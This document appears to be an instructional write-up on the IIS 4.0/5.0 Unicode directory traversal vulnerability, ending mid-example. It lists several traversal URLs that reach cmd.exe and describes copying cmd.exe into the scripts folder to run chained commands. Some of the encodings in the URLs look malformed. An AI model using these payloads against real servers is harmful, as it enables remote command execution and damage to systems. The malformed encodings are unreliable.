Vulnerability
When certain types of files are requested via a   specially-malformed URL, the canonicalization yields a partially-correct  result.  It locates the correct file, but concludes that the file is  located in a  different folder than it actually is. As a result, it  applies the permissions  from the wrong folder.
The  vulnerability results because it is possible to construct an  URL that  would cause IIS to navigate to any desired folder on the logical drive   that contains the web folder structure, and access files in it. The  request  would be processed under the security context of the IUSR_machinename account, which is the anonymous  user account  for IIS. This is the account that performs web actions on  behalf of  unauthenticated visitors to the site. Under normal  conditions, the account only  has permissions to take actions that are  acceptable for general use by visitors  to the site.
The  danger lies in the fact that the vulnerability allows the user  to  escape from the web folders and access files elsewhere on the drive. By   default, many of these files provide access to the everyone group  and/or the  Users group, both of which include the IUSR_machinename  account as a member.  These groups have executed permissions to most  operating system commands, and  this would give the malicious user the  ability to cause widespread damage. This  vulnerability would  effectively grant the same privileges to the malicious user  as are  normally available to users who can log onto a machine locally.
The default permissions would allow the user to execute  virtually  any operating system command, and these would enable him to  cause a wide array  of damage. He could, for instance, create new files  on the server, delete ones  that are already there, or he could reformat  the entire hard drive. He wouldn't  be limited to misusing code that  already existed on the server. Access to the  operating system commands  would give him the ability to upload code of his  choice to the machine  and execute it.
However, the vulnerability only  allows files to be accessed  if they reside on the same logical drive  as the web folders. So, for instance,  if a web administrator had  configured his server so that the operating system  files were installed  on the C: drive and the web folders were installed on the  D: drive,  the malicious user would be unable to use the vulnerability to access   the operating system files.
Exploit
One of the principal security functions of a web  server is  to restrict user requests so they can only access files  within the web folders.  Microsoft IIS 4.0 and 5.0 are both vulnerable  to double dot "../" directory  traversal exploitation if extended  Unicode character representations are used in  substitution for "/" and  "\". This vulnerability provides a way for a malicious  user to provide a  special URL to the web site that will access any files whose  name and  location he knows, and which is located on the same logical drive as   the web folders. This would potentially enable a malicious user who  visited the  web site to gain additional privileges on the machine -  specifically, it could  be used to gain privileges commensurate with  those of a locally logged-on user.  Gaining these permissions would  enable the malicious user to add, change or  delete data, run code  already on the server, or upload new code to the server  and run it. For  instance, consider the following valid url.
Eg.
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
http://target/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
Another exploit demonstrates how an attacker can  execute commands  using a redirect on the target host.
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To  begin, the attacker copies "..  \..\winnt\system32\cmd.exe" to  "..\..\interpub\scripts\cmd1.exe"
 
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He appends the command to the valid URL.
Vulnerable IIS returns: "CGI Error ... 1 file(s)  copied."
The specified CGI application does not  return a complete set  of HTTP headers. Instead it returns the above  error.
 
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Next the  attacker runs "cmd1.exe /c echo abc >aaa &  dir & type aaa"  along with the URL to list the directory contents.
Vulnerable IIS returns: